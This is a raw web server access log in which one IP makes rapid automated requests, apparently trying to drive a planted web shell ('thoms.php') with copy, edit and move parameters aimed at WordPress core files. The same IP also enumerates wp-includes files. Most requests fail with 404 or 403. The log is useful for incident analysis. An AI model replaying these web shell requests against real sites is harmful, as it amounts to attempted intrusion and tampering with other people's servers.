45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:38 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?edit=wp-settings.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /thoms.php?edit=wp-settings.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-settings.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-theme-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:39 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/robots-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-json.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/Text/ HTTP/1.1" 200 869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/link-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/speculative-loading.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/post-formats.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/build/ HTTP/1.1" 200 1285 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/interactivity-api/ HTTP/1.1" 200 944 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:40 -0400] "GET /broadweb.com.tw/wp-includes/assets/ HTTP/1.1" 200 879 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
